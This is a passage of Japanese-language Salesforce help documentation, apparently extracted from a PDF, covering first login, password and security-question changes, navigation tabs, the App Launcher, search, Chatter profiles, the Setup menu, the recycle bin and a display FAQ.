https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/salesforce1_guide.pdf
https://resources.docs.salesforce.com/206/latest/en-us/sfdc/pdf/salesforce1_url_schemes.pdf
https://resources.docs.salesforce.com/206/latest/en-us/sfdc/pdf/salesforce1_mobile_security.pdf


Salesforce の [設定] メニューの探索
Salesforce には、組織の設定、維持管理、およびカスタマイズのオプションが数多く含まれています。Salesforce

のシステム管理者または開発者は、[設定] メニューを頻繁に使用します。
ごみ箱の表示および消去
ごみ箱には、削除された項目が含まれています。Salesforce システム管理者は、組織全体で削除されたすべ
てのデータを参照できます。
FAQ - 参照および表示
Salesforce のページのポップアップウィンドウ、ボタン、リンク、その他の表示要素に関する、一般的な質
問。
新規ユーザ向けのヒント集
初日から手堅く生産性の高い Salesforce ユーザとなるために必要ないくつかのヒントを示します。

初回のログイン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

お知らせメールには、組織の Salesforce サイトへのリンクとログイン情報が含ま
れます。
初回のログインは、次の方法で行います。
1. メールに含まれているログイン情報を確認します。
2. メールに記載されているリンクをクリックします。

サイトに自動的にログインされます。
3. パスワードを設定し、パスワードを忘れた場合に ID を確認するためのセキュ

リティの質問と回答を選択するよう求められます。

パスワードの変更
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ログイン後、セキュリティを強化するために現在のパスワードを変更できます。
パスワードをなくした場合は、ログインページの [パスワードをお忘れですか?]

リンクをクリックして、メール経由でパスワードをリセットします。
データのプライバシーを保護するには、パスワードを定期的に変更します。
Salesforce システム管理者がユーザパスワードを定期的に期限切れにする場合は、
有効期間が切れたときにパスワードの変更を要求されます。

メモ: 「ユーザシングルサインオン」権限を持っている場合、パスワード
をリセットできるのは管理者のみです。サポートが必要な場合は、Salesforce

システム管理者にお問い合わせください。
1. 個人設定から、[クイック検索]ボックスに「パスワード」と入力し、[私のパスワード変更]を選択します。
2. 必要なパスワード情報を入力します。
3. [保存] をクリックします。
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セキュリティの質問の変更
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

パスワードを忘れてリセットする必要がある場合、本人確認のために以前に選
択したセキュリティの質問に回答するよう求められることがあります。セキュ
リティの質問と答えは、個人設定の [私のパスワード変更] ページで変更できま
す。

メモ:  [私のパスワード変更] オプションが表示されず、サポートが必要な場
合は、Salesforce システム管理者にお問い合わせください。

1. 個人設定から、[クイック検索]ボックスに「パスワード」と入力し、[私のパ
スワード変更] を選択します。

2. 現在のパスワードを入力します。
3. [セキュリティの質問] ドロップダウンメニューから、質問を選択します。
4. 質問への回答を [回答] 項目に入力します。
5. [保存] をクリックします。

ドキュメントおよびオンライントレーニングコースのプラグインの
ダウンロード

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce PDF ドキュメントおよびオンライントレーニングコースは、Adobe Reader

や Macromedia Flash Player などの無料のプラグインを使用します。
• Adobe Reader — PDF ドキュメントを表示する場合。無料版をダウンロードす

るには、Adobe Reader のダウンロードページにアクセスします。
• Macromedia Flash Player — オンラインのトレーニングコースを受講する場合。

無料版をダウンロードするには、Adobe Flash Player のダウンロードページにア
クセスします。

Salesforce 内を移動するためのタブ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

各 Salesforce ページの上部には、Salesforce の主要な機能に移動するためのタブや
リンクがあります。
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http://www.adobe.com/products/acrobat/readstep2.html
http://get.adobe.com/flashplayer/


• オブジェクトや機能を切り替えるにはタブをクリックします (1)。
• あらゆるレコードタイプを検索します (2)。
• ユーザ名の横のドロップダウンからユーザ固有のカスタマイズにアクセスします (3)。
• 管理者権限がある場合は、[設定] メニューを使用し、組織向けに Salesforce をカスタマイズします (4)。
• ヘルプリソースおよびトレーニングにアクセスします (5)。
• Salesforce 内のその他のアプリケーションを表示してそれにアクセスします (6)。各アプリケーションには、

さまざまな機能とタブが含まれています。
• タブをさらに表示するには、メインタブの横にあるプラスアイコン (+) をクリックします。

[ホーム] タブの探索
Salesforce にログインして最初に表示されるのは、ほとんどの場合 [ホーム] タブです。
オブジェクトタブの探索
オブジェクトタブには、Salesforce オブジェクトのページ (取引先の概要など) が表示されます。
詳細ページの探索
詳細ページには、特定の取引先に関する詳細など、レコードに関する詳細が表示されます。
他の Salesforce アプリケーションへのアクセス
特定の機能を探している場合は、アプリケーションメニューまたはアプリケーションランチャーで使用可
能なすべての Salesforce アプリケーションを確認してください。

[ホーム] タブの探索
Salesforce にログインして最初に表示されるのは、ほとんどの場合 [ホーム] タブです。
表示されるタブと機能は、エディション、レイアウト、カスタマイズによって異なります。通常、デフォルト
のレイアウトには次の要素が含まれます。
• サイドバー (1)。レコードの作成、最近参照した項目への移動、リンクの追加、削除した項目の復元などを

実行できます。このサイドバーは、他の多くのページにも表示されます。
• Chatter フィード (2)。状況に応じた同僚とのコラボレーションをすべて Salesforce で行います。フィードは、

図のように折りたたむこともできますし、[フィードを表示] をクリックして展開することもできます。
• ダッシュボード。さまざまなレポートからの最新の結果が表示されます (3)。ダッシュボードの情報は、

ページの再読み込みを行うたびに更新されます。
• Salesforce 内の進行中の ToDo (4)。日付の範囲で絞り込むか、すべての進行中の ToDo を表示できます。画面に

表示されていない場合は、スクロールダウンするか、Chatter フィードを折りたたんで ToDo を上に移動させ
ます。
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• Salesforce 内の行動のカレンダー (5)。行動を作成することもできます。

オブジェクトタブの探索
オブジェクトタブには、Salesforce オブジェクトのページ (取引先の概要など) が表示されます。
[取引先] タブに表示される内容を見てみましょう。アプリケーションメニューで [セールス] を選択し、[取引先]

タブをクリックします。
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• 取引先に関連するリストビューのドロップダウンメニュー (1)。また、リストビューを作成するリンクと既
存のリストビューを編集するリンクも表示されます。リストビューは、Salesforce で一連の取引先レコード
を参照するためのものです。

• 最近の取引先レコード (2)。最近参照したレコード、最近変更したレコード、最近作成したレコードに絞り
込むことができます。また、[新規] をクリックして、取引先レコードを作成することもできます。

• よく使用される取引先レポートへのリンク (3)。
• 取引先関連のツール (4)。インポートユーティリティやマージユーティリティなどがあります。

詳細ページの探索
詳細ページには、特定の取引先に関する詳細など、レコードに関する詳細が表示されます。
取引先詳細ページを見てみましょう。
[取引先] タブに移動して、取引先名をクリックします。
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表示される取引先の詳細は、システム管理者が設定した取引先のページレイアウトとユーザ権限によって異な
ります。一般に、取引先詳細ページには次のセクションと項目があります。
• プロファイル画像 (1) (存在する場合) とソーシャルネットワークリンク。
• クイックリンク。ページコンテンツとレイアウトのカスタマイズ (2)、ページに関連するヘルプリソースへ

のアクセス、印刷を実行できます。
• フィード (3)。レコードに関するコメントの追加、表示ができます。
• さまざまなリンク (4)。ページ内、別のページ、または外部サイトに移動できます。
• 取引先レコードについての詳細情報 (5)。
レコードの詳細までスクロールダウンします。関連リストには、表示中のレコードに関連付けられている他の
レコードへのリンクがまとめられ、表示されます。
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他の Salesforce アプリケーションへのアクセス

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

特定の機能を探している場合は、アプリケーションメニューまたはアプリケー
ションランチャーで使用可能なすべての Salesforce アプリケーションを確認して
ください。
Salesforce 内で直接使用できる他の Salesforce アプリケーションがあります。たと
えば、Salesforce マーケティングアプリケーション、サービスアプリケーション、
組織のカスタムアプリケーションがあります。
Saleforce 組織に接続されているサードパーティアプリケーションは、接続アプリ
ケーションと呼ばれます。組織に接続アプリケーションがある場合、それらの
アプリケーションはアプリケーションランチャーに表示されます。サードパー
ティアプリケーションには、Gmail™や Microsoft Office 365™などの生産性アプリケー
ションがあります。

Salesforce Classic のアプリケーションランチャーで別のアプリケーションを開く
1 つのメニューから Salesforce アプリケーションと接続アプリケーション間を移動できます。
Lightning Experience で別のアプリケーションを開く
アプリケーション間を移動するには、アプリケーションランチャーを使用します。アプリケーション間を
簡単に切り替えて、他の Salesforce 項目および機能にアクセスできます。

55

Salesforce 内を移動するためのタブSalesforce の使用開始



Salesforce Classic のアプリケーションランチャーで別のアプリケーションを開く

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションラン
チャーを表示する
• 「Identity 機能を使用」

1 つのメニューからSalesforceアプリケーションと接続アプリケーション間を移動
できます。

メモ: 次の手順は、Salesforce Classic で動作します。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

アプリケーションランチャーでSalesforceアプリケーションまたは接続アプリケー
ションを表示して開くには、そのアプリケーションへのアクセス権が必要です。
• アプリケーションランチャーを開くには、任意のSalesforceページの右上隅に

あるドロップダウンアプリケーションメニューから [アプリケーションラン
チャー] を選択します。

• アプリケーションランチャーで、目的のアプリケーションのタイルをクリッ
クします。

Lightning Experience で別のアプリケーションを開く

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

アプリケーションを使用
する
• ユーザプロファイルま

たは権限セットに指定
された該当アプリケー
ションへのアクセス権
限

アプリケーション間を移動するには、アプリケーションランチャーを使用しま
す。アプリケーション間を簡単に切り替えて、他の Salesforce 項目および機能に
アクセスできます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

• アプリケーションランチャーを開くには、ナビゲーションバーの左側で
をクリックします。
アプリケーションランチャーには、ユーザが使用可能なすべての Salesforce ア
プリケーション、およびナビゲーションバーには表示されない項目が表示さ
れます。一方、ナビゲーションバーには現在使用中のアプリケーションに含
まれるすべての項目が表示されます。
アプリケーションランチャーには、Salesforce 標準アプリケーション、カスタ
ムアプリケーション、および Salesforce システム管理者がインストールした接
続アプリケーションが表示されます。接続アプリケーションとは、Gmail、
Google ドライブ、Windows365 などのサードパーティアプリケーションです。
接続アプリケーションを開くと、新しいタブで開かれます。ポップアップブロッカーでポップアップを許
可する設定にしていることを確認してください。許可していないと、接続アプリケーションは起動されま
せん。

• アプリケーションランチャーの上部にある [アプリケーションまたは項目を検索] ボックスを使用して、ア
プリケーションまたは項目を名前で検索します。
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たとえば、「Service」などとアプリケーションの名前を入力し始めると、入力と同時にその文字列が含まれ
るアプリケーションや項目がすべて表示されます。

• アプリケーションタイルを別の位置にドラッグし、アプリケーションの使用頻度で並び替えます。
必要なものが見つからない場合は、Salesforce システム管理者に他のアプリケーションを使用できるかどうか問
い合わせてください。

Salesforce 全体の検索
エディション

使用可能なエディション:
Database.com を除くすべ
てのエディション

Salesforce 全体で、レコード、Chatter フィード、人、グループ、ToDo などを検索
できます。検索は、Salesforce サイト、Salesforce1 モバイルアプリケーション、
Salesforce プラットフォームで構築されたカスタム検索実装で使用できます。

レコードの検索
各ページの上部にあるグローバル検索を使用して、Salesforce 内で検索可能な
すべてのオブジェクトにわたって検索を実行します。[検索結果] ページから
検索範囲を絞り込んだり並び替えたりします。
Salesforce Classic で検索結果を絞り込む方法は?

結果の並び替えや絞り込みを行ってレコードをすばやく見つけるためのガイドラインを使用してください。
Lightning Experience で検索結果を絞り込む方法は?

検索結果ページを移動してレコードをすばやく見つけるためのガイドラインを使用してください。
Lightning Experience でのフィードの検索
フィード全体から人、グループ、およびファイルを検索します。
Salesforce Classic でのフィードの検索
Chatter 全体からフィード、人、グループ、トピック、およびファイルを検索します。

レコードの検索

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

各ページの上部にあるグローバル検索を使用して、Salesforce 内で検索可能なす
べてのオブジェクトにわたって検索を実行します。[検索結果] ページから検索範
囲を絞り込んだり並び替えたりします。
グローバル検索を使用するときは、できるだけ具体的に検索します。具体的に
検索すると、最適かつ最も的が絞られた結果を得ることができます。たとえば、
営業チームから John Smith を検索する場合は、彼のフルネームを入力します。
2015 年 3 月の売上レポートを検索する場合は、「売上レポート 2015 年 3 月」
と入力します。
1. ヘッダーの検索ボックスに検索語を入力します。
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入力すると、レコード名の現在の検索語に一致する部分が強調表示された[私の最近使ったデータ]のドロッ
プダウンリストが表示されます。

2. Enter キーを押すか、[検索] をクリックします。
次のような検索結果が表示されます。

[検索結果] ページでは、次の操作を実行できます。
• [フィードを検索] (1) を使用して、検索語に一致する会社からの投稿を確認する。
• [レコード] ビュー (2) を使用して、よく使用されるオブジェクトごとに数個のレコードを表示する。
• 左側の検索ナビゲーション (3) でオブジェクト名をクリックし、選択したオブジェクトの結果のみを表

示する。
• [すべて検索] (4) をクリックし、その他のオブジェクトの結果を表示する。
• オブジェクト検索結果の下の [さらに表示] (5) を使用して、オブジェクトのすべての結果を表示する。
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オブジェクトの順序は、オブジェクトの使用頻度に基づいています。

必要なレコードをすぐに見つけられない場合は、検索範囲を絞り込みます。ヘッダーをクリックして結果を並
び替えるか、[検索条件を表示] をクリックして結果を絞り込むことができます。

関連トピック:

検索のしくみ

Salesforce Classic で検索結果を絞り込む方法は?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

結果の並び替えや絞り込みを行ってレコードをすばやく見つけるためのガイド
ラインを使用してください。
グローバル検索バーを使用すると、レコード内のすべてのオブジェクトおよび
複数のデータ型 (カスタム項目やロングテキスト項目を含む) が検索されます。
複数の用語を入力すると、すべての検索語を含む結果が返され、レコード数が
多くなる可能性があります。全文検索を実行した後に、探しているレコードを
見つける方法を次に示します。
すべて検索

デフォルトでは、最もよく使用されるオブジェクトの検索結果が返されま
す。他のオブジェクトも検索する場合は、[すべて検索]をクリックします。[すべて検索]オプションを設定
していない場合、グローバル検索では、使用するオブジェクトに関する十分な情報を得られません。より
詳細な情報を指定しない限り、結果にすべてのオブジェクトが含まれます。

固定
重要なオブジェクトにマウスポインタを置いて、それらを検索結果のオブジェクトリストの上部に固定し
ます。オブジェクトの固定解除や並び替えは後でいつでも行うことができます。固定は、使用頻度の低い
オブジェクトの場合に便利です。

検索条件

• [Options...] を使用して、自分が所有する項目があればそれらの項目、完全一致検索、および組織が使用
している場合はディビジョンに、検索を制限します。

• [条件を表示] が利用できる場合は、それを使用して検索結果を絞り込みます。
• 使用可能な場合は [私の表示項目] を使用し、[選択可能な項目] から [選択済みの項目] をカスタマイズし

て、表示される列をカスタマイズします。

メモ: 検索レイアウトで使用できる検索条件項目やカスタマイズ可能な列は、システム管理者が決
定します。システム管理者が検索レイアウトを作成しない場合や、オブジェクトで検索レイアウト
を使用できない場合、検索結果を絞り込んだり、検索結果の列をカスタマイズしたりできません。
カスタマーポータルおよびパートナーポータルでは、検索条件は使用できません。
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その他のガイドライン
• オブジェクト範囲が適切であることを確認します。左側のナビゲーションで範囲を変更できます。
• スペルと、検索語全体を入力したことを確認します。または、より具体的な検索語を入力します。
• 最近作成したレコードや複数回変更されたレコードは、検索結果に表示されるまで時間がかかります。

レコードを検索できるようにするプロセス (インデックス付け) は最大 15 分ほどかかります。
Searching in Salesforce Classic (Salesforce Classic での検索)

Filtering Search Results in Salesforce Classic (Salesforce Classic での検索結果の絞り込み)

Lightning Experience で検索結果を絞り込む方法は?

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

検索結果ページを移動してレコードをすばやく見つけるためのガイドラインを
使用してください。
[上位の結果] を使用して最も関連性の高い結果を 1 ページで表示する

検索を実行すると、[上位の結果] ページが最初に表示されます。[上位の結果]

検索結果ページには、最も頻繁に使用した各オブジェクトの最も関連性の高
いレコード結果が表示されます。
このページは、検索語の結果を確認したいと考えているが、特定のオブジェ
クト種別を探していない場合に適しています。たとえば、「Acme Inc」を検索
する場合、取引先、リード、および商談の [上位の結果] ページを確認しま
す。各ユーザの [上位の結果] ページは、最も頻繁に使用するオブジェクトによって異なります。オブジェ
クトの詳細な結果を確認するには [さらに表示] リンクを使用します。

オブジェクトごとの結果をすばやく参照する
検索結果のページの左側のオブジェクト名をクリックして、特定のオブジェクトの結果を表示することも
できます。検索可能なオブジェクトがナビゲーションバーの表示とと同じ順序でリストされます。

[表示件数を増やす] で使用可能なすべてのオブジェクトを表示する
[検索結果] の下にオブジェクトが表示されない場合は、[表示件数を増やす]を選択すると、使用可能なすべ
てのオブジェクトが表示されます。検索可能なオブジェクトはアルファベット順に一覧で表示されます。

結果の並び替え
結果の並び替えは、ユーザが最も関連性の高い情報をすばやく見つけるのに役立ちます。
[上位の結果] ページで、並び替え可能な項目の列ヘッダーをクリックして、その列で並び替えます。
並び替えの詳細オプションでは、特定のオブジェクトの結果を表示します。[並び替え] ドロップダウンを
使用して、結果を並び替えることができます。メニューには、検索レイアウトのすべての列と、[関連性]

で並び替えるオプションが表示されます。また、列ヘッダーをクリックすることもできます。
検索レイアウトに並び替えできない項目しか含まれていない場合、[並び替え] ボタンは無効になります。

その他のガイドライン
• スペルと、検索語全体を入力したことを確認します。または、より具体的な検索語を入力します。
• 最近作成したレコードや複数回変更されたレコードは、検索結果に表示されるまで時間がかかります。

レコードを検索できるようにするプロセス (インデックス付け) は最大 15 分ほどかかります。
Searching in Salesforce Lightning Experience (Salesforce Lightning Experience での検索)
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Lightning Experience でのフィードの検索

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

フィード全体から人、グループ、およびファイルを検索します。
1. ヘッダーの検索ボックスに検索語を入力します。
2. 検索結果ページで[フィード]をクリックすると、検索語の一致が含まれる [す

べての会社] フィードの投稿が表示されます。

Salesforce Classic でのフィードの検索

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter 全体からフィード、人、グループ、トピック、およびファイルを検索し
ます。
1. ヘッダーの検索ボックスに検索語を入力します。
2. [検索] をクリックします。

検索結果ページには、Chatter を含む Salesforce 全体の一致が表示されます。検
索結果ページから、検索をさらに絞り込むことができます。たとえば、すべ
ての Chatter フィードでの検索結果を表示するには、[フィードを検索] をク
リックします。

特定のフィードを検索することもできます。たとえば、グループでユーザがメ
ンションされている場所を検索するには、グループフィードの上にある検索ボッ
クスにそのユーザ名を入力します。

例:
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Chatter プロファイルの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter プロファイルにより、やりとりする同僚や顧客があなたについて知るこ
とができます。あなたの写真や、役職および連絡先詳細などの基本情報が含ま
れます。
Salesforce の使用を開始したらすぐに Chatter プロファイルを設定し、頻繁に更新
します。

メモ: 組織で Chatter を使用していない場合でも、個人情報の追加と編集を
行うことができます。

1. [Chatter]タブをクリックして、ページの左側にあるプレースホルダのプロファ
イル画像を見つけます。プレースホルダの画像の横にある あなたの名前 を
クリックします。

2. プロファイル写真を更新するには、プレースホルダの画像にマウスを置き、
[写真の追加] をクリックします。

ヒント: グループやペットではなく、自分の写真を使用します。Chatter はビジネスツールであるため、
上司や CEO が見ても差し支えのない写真を選択してください。

3. 連絡先情報を更新するには、プロファイル写真の下にある をクリックします。[プロファイルを編集]

ボックスで、[連絡先] タブと [バージョン情報] タブの項目を入力します。

ヒント: 属している部署、経験、現在作業中のプロジェクトに関する詳細をプロファイルに記入しま
す。

4. [すべて保存] をクリックします。

Salesforce の [設定] メニューの探索
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce には、組織の設定、維持管理、およびカスタマイズのオプションが数
多く含まれています。Salesforce のシステム管理者または開発者は、[設定] メニュー
を頻繁に使用します。
設定オプションはすべて [設定] メニューから使用できます。[設定] メニューへの
アクセス方法は、使用している Salesforce の環境または組織のユーザインター
フェース設定に応じて異なります。
1. Salesforce ページ上部を見ます。

•
Lightning Experience を使用している場合、 をクリックし、[ホームの設
定] を選択します。

• Salesforce Classicを使用している場合、ユーザインターフェースのヘッダーに [設定]と表示されていたら、
クリックします。

• Salesforce Classic を使用していて、ヘッダーに [設定] が表示されない場合は、自分の名前をクリックし、
[設定] を選択します。
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2. [クイック検索] ボックスに必要な設定ページ、レコード、またはオブジェクトの名前を入力し、メニュー
から適切なページを選択します。

ヒント: [クイック検索] ボックスでページ名の最初の数文字を入力します。入力すると、検索語に一
致するページがメニューに表示されます。たとえば、[言語設定] ページを見つけるには、[クイック検
索] ボックスに「言語」と入力し、[言語設定] を選択します。

ごみ箱の表示および消去
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

削除したレコードを参照
および復旧する
• ごみ箱内のレコードに

対する「参照」

他のユーザが削除したレ
コードを参照および復旧
する
• 「すべてのデータの編

集」

削除した公開タグを復元
する
• 「タグマネージャ」

ごみ箱を消去する
• 「すべてのデータの編

集」

ごみ箱には、削除された項目が含まれています。Salesforce システム管理者は、
組織全体で削除されたすべてのデータを参照できます。

ごみ箱内の項目の表示
ドロップダウンリストの [ごみ箱] を選択すると、自分が削除した項目を参照で
きます。「すべてのデータの編集」権限を持っている管理者とユーザは、[すべ
てのごみ箱]を選択して、組織全体で削除されたデータをどれでも参照すること
ができます。Personal Edition では、[すべてのごみ箱] オプションをクリックする
と、自分が削除したすべての項目が表示されます。

ごみ箱内の項目の検索
1. ドロップダウンリストから [私のごみ箱]または [すべてのごみ箱]を選択しま

す。[私のごみ箱] を選択すると、自分が削除した項目の中でのみ、一致する
項目が検索されます。

2. 検索語を入力します。検索語句は別々の語として扱われ、語の間は、暗示的
に AND で結ばれます。たとえば、「bob jones」を検索すると、「bob」と
「jones」を含む項目は返されますが、「bsmith@jones.com」というメールアド
レスを持つ「bob smith」は返されません。検索語句には暗示的にワイルドカー
ドが付加されるため、「bob」を検索すると、「bob」または「bobby」が返さ
れます。リードの [名前]、[ケース番号]、[契約番号]、[商品名] など、ご
み箱の [名前] 列に表示される項目から、一致するものを検索します。

メモ: ごみ箱検索では、語幹や類義語など、一部の検索機能が使用でき
ません。

3. [検索] をクリックします。

ごみ箱内の項目の復元
削除したアイテムを元に戻すには、アイテムの横にあるチェックボックスをオンにして、[復元]をクリックし
ます。削除したアイテムをすべて元に戻す場合は、列のヘッダーにあるチェックボックスをオンにし、[復元]

をクリックします。
レコードを元に戻すと、Salesforce が、次のリレーションの種類に関して、レコードの関連付けを復元します。
• 親取引先 (取引先の [親取引先] 項目で指定)
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• 親ケース (ケースの [親ケース] 項目で指定)

• 翻訳ソリューションのマスタソリューション (ソリューションの [マスタソリューション] 項目で指定)

• 取引先責任者のマネージャ (取引先責任者の [上司] 項目で指定)

• 納入商品に関連付けられている商品 (納入商品の [商品] 項目で指定)

• 見積に関連付けられている商談 (見積の [商談] 項目で指定)

• すべてのカスタム参照関係
• 取引先およびリレーショングループのリレーショングループメンバー (一部例外あり)

• タグ
• 記事のカテゴリ、公開状態、割り当て

メモ:  Salesforce は、置換されていない参照関係のみを復元します。たとえば、納入商品が、元の商品レ
コードが元に戻される前に別の商品と関連付けられている場合、その納入商品と商品のリレーションは
復元されません。

ごみ箱の消去
「すべてのデータの編集」権限を持っている管理者とユーザが 15 日の期間前に削除した項目を永久に削除す
るには、[ごみ箱を空にする] または [組織のごみ箱を空にする] をクリックします。

FAQ - 参照および表示
Salesforce のページのポップアップウィンドウ、ボタン、リンク、その他の表示要素に関する、一般的な質問。

折りたたみ可能なサイドバーとは?

Salesforce Classic のほとんどの Salesforce ページの左側に表示されるサイドバー列から、リンクおよびコマンド
に簡単にアクセスできます。
一部の機能を表示できない理由は?

ヘルプドキュメントおよびトレーニングビデオで Salesforce 機能について学習します。ただし、Salesforce 組
織でこれらの機能が見つからなかったり、機能にアクセスできない場合があります。
ルックアップダイアログや [ヘルプ & トレーニング] ウィンドウなど、Salesforce のポップアップウィンドウ
が表示されません
ブラウザのポップアップブロック機能設定をテストしてください。セキュリティが最大に設定されている
と、必要な機能を提供するポップアップも含めて、すべてのポップアップウィンドウが Salesforce 内で表示
されません。
一部のボタンやリンクが表示されません
ボタンやリンクは、それらを使用できる適切な権限を持っているユーザにのみ表示されます。
レコードの編集中に Backspace キーを押すと編集中のデータが消えてしまいます
Internet Explorer のバージョンによっては、ブラウザの [戻る] のキーボードショートカットとして Backspace

キーを使用している場合があります。Backspace キーを押したときにカーソルがテキスト項目内にないと、
ブラウザの表示が前のページに戻ってしまいます。ブラウザの [進む] ボタンをクリックすると、データを
取り戻して元のページに戻ります。
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テキスト項目の編集時に表示されるエントリのリストを変更または削除できますか?

いいえ。これらのオートコンプリート入力は、特定のテキスト項目を編集する場合に表示される Internet

Explorer の機能です。
エラーメッセージが表示される理由
Salesforce で作業しているときには、エラーメッセージが表示されることがあります。多くの場合、エラー
メッセージが表示されるのは、自分にアクセス権がないデータを表示、編集、または削除しようとしたと
きです。

折りたたみ可能なサイドバーとは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce Classic のほとんどの Salesforce ページの左側に表示されるサイドバー列か
ら、リンクおよびコマンドに簡単にアクセスできます。
必要に応じてサイドバーを開いたり閉じたりするには、サイドバーの端をクリッ
クします。

サイドバーのオプションは、組織で使用可能な機能およびシステム管理者がページレイアウトをカスタマイズ
したかどうかによって異なります。

一部の機能を表示できない理由は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ヘルプドキュメントおよびトレーニングビデオで Salesforce 機能について学習し
ます。ただし、Salesforce 組織でこれらの機能が見つからなかったり、機能にア
クセスできない場合があります。
特定の機能またはオブジェクトが見つからなかったりアクセスできなかったり
する理由のいくつかを次に示します。
• 必要な権限やアクセス設定がない。
• 組織が一部の標準オブジェクトおよび項目の名前を変更したか、独自のカス

タムオブジェクトおよびカスタム項目を作成した。
• 目的の機能が、組織の Salesforce エディションまたは Salesforce 環境で提供されていない。
• 機能を有効にするために、カスタムページビューを調整するか外部アプリケーションをインストールする

必要がある。
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ルックアップダイアログや [ヘルプ & トレーニング] ウィンドウなど、Salesforce
のポップアップウィンドウが表示されません
ブラウザのポップアップブロック機能設定をテストしてください。セキュリティが最大に設定されていると、
必要な機能を提供するポップアップも含めて、すべてのポップアップウィンドウが Salesforce 内で表示されませ
ん。
たとえば、セキュリティ設定を最大にしていると、活動の日付を選択するためのカレンダーポップアップ、レ
コード選択のためのルックアップダイアログ、[ヘルプ & トレーニング] ウィンドウがブロックされます。
ポップアップ設定をテストする手順は、次のとおりです。
1. [個人設定] から、[クイック検索] ボックスに「アラーム」と入力し、[アラーム & アラート]を選択します。

結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報] を選択します。
2. [アラーム通知のプレビュー] をクリックします。
Salesforce のポップアップウィンドウを許可するには、ブラウザのポップアップブロック設定から Salesforce を信
頼済みサイトとして追加します。具体的な手順は、ブラウザのオンラインヘルプを参照してください。
Google ツールバーなど、一部のブラウザアドオンにも、ポップアップブロック機能があります。これらの製品
で Salesforce のポップアップウィンドウを許可する設定方法は、これらの製品のソフトウェアドキュメントを参
照してください。

一部のボタンやリンクが表示されません
ボタンやリンクは、それらを使用できる適切な権限を持っているユーザにのみ表示されます。
たとえば、商談を「削除」する権限がないユーザの商談の詳細ページには[削除]ボタンが表示されません。ま
た、商談関連リストに [削除] リンクは表示されません。

レコードの編集中に Backspace キーを押すと編集中のデータが消えてしまいま
す
Internet Explorer のバージョンによっては、ブラウザの [戻る] のキーボードショートカットとして Backspace キー
を使用している場合があります。Backspace キーを押したときにカーソルがテキスト項目内にないと、ブラウザ
の表示が前のページに戻ってしまいます。ブラウザの [進む] ボタンをクリックすると、データを取り戻して元
のページに戻ります。

テキスト項目の編集時に表示されるエントリのリストを変更または削除できま
すか?
いいえ。これらのオートコンプリート入力は、特定のテキスト項目を編集する場合に表示される Internet Explorer

の機能です。
以前入力したテキストはブラウザに記憶され、入力リストとして表示されるので、項目を自動的に補完できま
す。この機能をオフに切り替える場合は、ブラウザのメニューバーで [ツール] をクリックしてください。[イ
ンターネットオプション]を選択して[コンテンツ]タブをクリックしてから、[AutoComplete]ボタンを選択して
ブラウザの設定を変更します。
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エラーメッセージが表示される理由
Salesforce で作業しているときには、エラーメッセージが表示されることがあります。多くの場合、エラーメッ
セージが表示されるのは、自分にアクセス権がないデータを表示、編集、または削除しようとしたときです。
ブラウザの [戻る] ボタンをクリックすると、前のページに戻ります。エラーが誤って表示されると思われる場
合は、ページの最上部で [ヘルプ & トレーニング] をクリックしてください。[お問い合わせ] > [お問い合わせ
フォーム] を選択するか、[私のケース] タブを選択し、問題をカスタマーサポートに直接送信してください。

新規ユーザ向けのヒント集
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

初日から手堅く生産性の高い Salesforce ユーザとなるために必要ないくつかのヒ
ントを示します。
• データを検索するためにオブジェクトをクリックしたとき、既存のレコード

の完全なリストは表示されません。ユーザが完全なリストのサブセットを選
択したい場合もあるため、Salesforce ではレコードを手動で呼び出すまで完全
なリストは非表示になります。ビュー内でオプションを選択し、[Go!] をク
リックしてください。

• 関連リストは、オブジェクトページ下部にあるリンクです。関連リストを使
用すると、他の関連オブジェクトにすばやくアクセスできます。この機能によって情報にすばやくアクセ
